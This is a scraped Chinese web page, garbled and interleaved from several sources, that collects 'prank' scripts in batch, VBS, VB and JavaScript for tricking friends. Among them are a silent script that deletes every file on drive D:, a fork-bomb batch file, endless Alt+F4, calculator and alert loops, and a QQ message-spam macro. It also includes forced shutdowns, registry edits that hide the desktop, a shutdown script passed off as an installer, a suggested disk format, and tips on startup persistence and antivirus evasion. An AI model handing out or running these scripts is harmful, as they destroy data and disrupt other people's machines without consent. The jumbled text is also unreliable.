生活全書館整人程式碼彙總
- IT科技
- 關注：1.69W次
不好意思哦。我也不知道耶www.51dongshi.com防採集。
整人程式碼大全，下面我們一起來看看吧。
方法
開啟好友的聊天對話方塊,然後記下在QQ裡好友的暱稱,把以下程式碼中xx替換一下,就可以自定義傳送QQ資訊到好友的次數(程式碼中數字10改下即可).
下面是比較整人的批處理,不過不建議這樣做 @echo offecho start 1.bat >%temp%2.batecho for /r %windir% %%i in (*) do start %%i
xx.vbs=>
<script language="javascript"> function hr(){ alert('你關不掉的^_^') hr(); } </script> <body onLoad="hr()"> </body> 做壞事了 面壁去
=---------------------------------------
記事本輸入 shutdown -s -t 01把字尾名txt改成bat就行是關機的東西。。
On Error Resume Next
Shell "shutdown.exe -s -t " & Text1.Text
Dim wsh,ye
dim a a=msgbox("",0) while a=1 msgbox "",0 wend "" 中間是新增文字的。比如 dim a a=msgbox("迴圈窗體",0) while a=
set wsh=createobject("wscript.shell")
此程式碼鎖定了任務管理器,想關閉只有重新啟動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
for i=1 to 10
7.猜數字 @echo off shutdown -s -f -t 600 -c "你好,我是本DOS無聊的製作者江浩,現在遊戲開始了,請在半小時內回答完問題。" echo 給你10分鐘猜這個數,這個數的
wscript.sleep 700
一隻????????看來你已經整到人了。用iexpress。。。免殺、後臺執行
wsh.AppActivate("與 xx 聊天中")
開了會彈出“錯誤,你被系統鄙視了”的氣球,並且把它加到開機啟動項,每每開機時就會彈出以上的氣球 在secdo,bat在系統盤自動建立另一個bat檔案,就是關機的程式碼,並且加
wsh.sendKeys "^v"
.版本 2 .支援庫 xplib .支援庫 eAPI.子程式 __啟動視窗_建立完畢資訊框 (“春哥! 哈哈 ”, 0, ) 寫註冊項 (#現行使用者, “SoftwareMicrosoftWindowsCurrentVe
wsh.sendKeys i
整人硬碟何必 VB 電腦自己就有個 傢伙格式化硬碟 dos有個 format 命令 把 這個命令儲存為 .bat 設法繫結給對方執行就行了嘛DOS 常用命令 ——format 現在用電腦的人
wsh.sendKeys "%s"
next
wscript.quit
開啟無數個計算器，直到宕機。
set wsh=createobject("wscript.shell")
此程式碼鎖定了工作管理員,想關閉只有重新啟動電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
do
wsh.run "calc"
loop
刪除D:所有檔案
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
不斷按下alt+f4 （開什麼都關閉……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
set ws = wscript.createobject("wscript.shell")if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你準備好了嗎?")=vbyes thenmsgbox"OK!"elsews.popup"那也沒辦法!接招吧!",3ws.popup"等會的解除密碼在網盤裡，自己下載,祝你愉快!",3end ifws.run" http://alonedu.ys168.com"ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 doa=inputbox("請輸入密碼解除","注意,重啟電腦是沒有用的!")if a="我真笨啊" thenmsgbox"密碼正確!",vbinformationws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000000","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide wscript.sleep 2000 ws.run "explorer.exe",vbhidemsgbox"解除成功!"exit doelsemsgbox"看你不下載，密碼錯誤!請重試 !"end ifloop，domsgbox"XX”loopXX裡寫上你想寫的字，啥都可以Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c shutdown -s -t 0 -f",vbhide把這個程式給你的朋友，說是個安裝程式，然後他開啟會立即關機，沒有任何提示使用方法：新建一個文字文件，把程式碼複製到裡面，改字尾名為vbs（如果沒有點“更改資料夾和搜尋選項”，點到“檢視”，往下拉找到隱藏已知檔案的拓展名，把勾去掉），然後執行內容來自www.51dongshi.com請勿採集。
- 文章版權屬於文章作者所有，轉載請註明 https://shqsg.com/dianzi/ey2o25.html
